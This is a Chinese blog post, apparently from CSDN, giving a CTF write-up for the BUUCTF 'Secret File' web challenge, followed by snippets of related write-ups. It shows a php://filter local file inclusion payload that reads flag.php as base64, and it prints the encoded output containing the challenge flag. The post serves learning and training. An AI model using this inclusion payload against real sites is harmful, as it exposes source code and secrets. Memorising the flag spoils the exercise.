[极客大挑战 2019]Secret File_WP

最新推荐文章于 2023-12-15 10:45:19 发布
最新推荐文章于 2023-12-15 10:45:19 发布
阅读量299 收藏
点赞数
分类专栏： CTF学习 BUUCTF
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_34624735/article/details/107921832
版权
  • 打开之后，想想背景是黑色
  • 调白之后果然发现猫腻
    在这里插入图片描述
  • 结果又来全黑
    在这里插入图片描述在这里插入图片描述
  • 看来需要抓包重放啊！！

在这里插入图片描述

  • 进入secr3t.php后是源代码
    在这里插入图片描述
  • 发现有文件包含漏洞
Payload:?file=php://filter/convert.base64-encode/resource=flag.php
  • 得到
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7MGE2YmUyN2ItYWJiNC00ODVmLTk4NWUtNWU1YWU2MDlmN2Y5fSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=
  • 最后用base64解码
    在这里插入图片描述
Rollinon
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
[网络安全自学篇] 八十二.WHUCTF之隐写和逆向类解题思路WP（文字解密、图片解密、佛语解码、冰蝎流量分析、逆向分析）
杨秀璋的专栏
06-04 1万+
这是作者网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您喜欢，一起进步。前文分享了Easy_unserialize解题思路，详细分享文件上传漏洞、冰蝎蚁剑用法、反序列化phar等。这篇文章将详细讲解WHUCTF隐写和逆向题目，包括文字解密、图片解密、佛语解码、冰蝎流量分析、逆向分析。第一次参加CTF，还是学到了很多东西。人生路上，要珍惜好每一天与家人陪伴的日子。感谢武汉大学，感谢这些大佬和师傅们（尤其出题和解题的老师们）~
BUUCTF系列 // [极客大挑战 2019] Secret File
qq_45805420的博客
09-25 511
前言 本题知识点：PHP 文件包含漏洞 & 利用网页背景隐藏信息 WP 进入题目页面，乍看没有什么明显的思路，查看网页源代码，发现源码中出现了部分在页面中被隐藏了的信息，这才意识到了出题者的心思 这个小技巧原理并不复杂，主要是在前端中利用网页的背景颜色来覆盖相同颜色的内容，使得相关信息肉眼不可见，初次相遇确实不易 Get 到思路，可以通过全选页面内容的方式，使所有的信息展现出来 点击隐藏信息，题目跳转到了一个新的页面 尝试点击SECRET按钮，网页再次跳转 根据该页面的信息判断，SECRET
BUUCTF-web-[极客大挑战 2019]Secret File
weixin_44866139的博客
05-16 3846
查看源码之后发现achieve_room.php 点击secret,发现end.php 提示回去再仔细看看，查看achieve.php的源代码 发现action.php,访问，然而依旧回到了end.php 说明这个跳转的时间特别快，我们需要抓包，有一个抓包神器BrupSuite，使用它发现action有一个隐藏的回应 <html> <title>secret</title> <meta charset="UTF-8"> <?php
BUUCTF[极客大挑战 2019]Secret File
devilare的博客
03-22 1420
BUUCTF[极客大挑战 2019]Secret File 挺有意思的一道题，打开链接。蒋璐源的秘密？没兴趣，本人不喜欢探索别人的秘密。好吧，hacker喜欢。F12查看一下源码。出现下一个页面，点击试试 嗯？！闪电侠也看不清，估计是玩我呢，退回刚刚的页面，F12看看 果然，同样的错误不允许犯两次，嗯。。。。怎么办呢？抓个包看看。 访问该页面 果然就是这里，代码审计一下，包含一个file的文件，用get方式传输，如果存在…/,tp,input,data等就会输出Oh no！并且退出，说明要包含的文件不能
CTF-Web-[极客大挑战 2019]Secret File
归子莫的博客
05-02 1355
CTF-Web-[极客大挑战 2019]Secret File 博客说明 文章所涉及的资料来自互联网整理和个人总结，意在于个人学习和经验汇总，如有什么地方侵权，请联系本人删除，谢谢！本文仅用于学习与交流，不得用于非法用途！ CTP平台 网址 https://buuoj.cn/challenges 题目 Web类，[极客大挑战 2019]Secret File 打开题目的实例 思路 看到这种...
[极客大挑战 2019]Secret File wp
{OvEr}的博客
11-18 200
[极客大挑战 2019]Secret File 这道题考察的就是代码审计和PHP伪协议 首先打开页面是这样的 然后我们直接查看源代码 注意到蓝色这一行，背景色是black，而“Oh! You found me”这个字的颜色也是黑色，就将其隐藏了起来，我们改掉它的颜色 页面就出现了这个 点击蓝色那行字 我们就跳转到了这个页面，再点击SECRET试试，当然我觉得不会如此轻易就让我们得到flag呢 ...
secret_file
12-24
攻防世界pwn题，该题虽然最终解题脚本比较简单，但分析过程还是比较中肯的，适合新人一同学习。解题wp链接：https://blog.csdn.net/A951860555/article/details/111601870
buuctf-web部分wp（更新一下）
a3uRa的一个窝
02-17 3752
前言（撮合看看吧 因为直接复制的本地 所以图片就没法显示了 有什么不懂的地方可以给我留言哦~ 然后推荐一个公众号:lin先森 求关注） b站 [BJDCTF2020]Easy MD5 f12 Hint: select * from ‘admin’ where password=md5($pass,true) ffifdyop 弱类型绕过 数组绕过 [极客大挑战 2019]Http 修改头 [...
Buuctf-[极客大挑战 2019]Secret File
m0_63563528的博客
04-19 363
我不知道，但是我可以看源代码，这里是第一个我所注意到的问题，因为第一遍看源码的时候马虎了，没有发现隐藏的关键信息，所以有时候审阅代码一定要细致。第二个问题就在这，这么多目录，我应该在哪里使用伪协议查阅呢？如果对整一个的环境有清晰的了解，就很简单，这里应该为。flag应该如他所说，就在这，但是不能直接查阅，怎么办？
[极客大挑战 2019]Secret File(BUUCTF)
HackerYY的博客
12-30 1101
BUUCTF找秘密水题 内附解题过程
BUU WEB [极客大挑战 2019]Secret File
star_feather的博客
01-17 209
打开网页，一片黑和几行字，正常流程，直接查看源代码，发现除了现实的内容外还有一句话，这里有两种方法，直接在网页上访问该文件或者找到这句话点击，可以从左上角到右下角选中就可以发现这句话的位置了， 访问后有显示一个页面： 点击又出现一个界面： 到这里，我们可以思考是不是页面中间有flag，但闪的太快了，让我们来抓包一个一个包的放一下试试，结果发现两个页面间什么也没有，那就试一下把包在重发器里发一下看看有什么收获: 我们得到了一个新的文件，在网页上访问可以得到一段源码： 第一眼我们应该就看到了flag！
[BUUOOJ][极客大挑战 2019]Secret File
Y4tacker的博客
07-29 7311
首先打开页面时这个样子 源码中发现关键php文件 继续看 继续 发现文件包含漏洞 传入的file经过了一些过滤，但是没有过滤filter，我们可以用php://fileter来获取文件。构造url?file=php://filter/convert.base64-encode/resource=flag.php ...
极客大挑战2019 Secret File
BlueDoorZz的博客
07-11 349
0x00 题目类型：文件包含，php伪协议。 0x01 查看源代码，发现Archive_room.php，点进去看看。 点击SECRET按钮，发现有个页面一闪而过，而后重定向到了end.php，退回去用burp抓包。 访问secr3t.php，发现源码。 <html> <title>secret</title> <meta charset="UTF-8"> <?php highlight_file(__FIL
BUUCTF [极客大挑战 2019]Secret File
最新发布
part22的博客
12-15 447
采用php伪协议来读取flag文件，构造file协议playload得，得到base64加密码。查看数据包并无更多线索，尝试将数据包改为post方式提交，发现secr3t.php文件。直接访问secret3t.php,得到flag的线索，并观察过滤方法。重新点击一遍secret，并使用burp suite抓一下包。点击链接跳转到令一页面，点击secret键发现并无更多信息。尝试直接访问flag.php,无法直接访问。点击右键查看一下源码，发现隐藏着一个链接。题目首页并没有太多有用的东西。
Secret File
weixin_46580614的博客
07-16 182
打开之后的界面是 审查元素 之后有个跳转页面 直接跳转 然后 真狗 继续跳转 结果没看明白 尝试bp抓包试一下 发现 有东西 看到代码 进行分析 <html> <title>secret</title> <meta charset="UTF-8"> <?php highlight_file(__FILE__); error_reporting(0); $file=$_GET['file']; if(
buuctf [极客大挑战 2019]Secret File
stantic的博客
03-15 76
ctrl+u看一下 发现一个php文件 提示回去看看 有一个php文件，但是还是跳转到end.php,那就用bp看一下 发现一个php文件 直接找不到，有个include函数，试一试文件包含 php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码 base64解密 flag{b4e8acd2-bf44-468b-9f90-15e362adc572} ...
极客大挑战2019secret file
03-16
极客大挑战2019的Secret File是一个神秘的文件，里面可能包含了一些重要的信息或者任务。参赛者需要通过各种技能和智慧来解密这个文件，完成挑战。这是一个非常有趣和刺激的比赛，可以锻炼参赛者的思维能力和团队合作精神。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值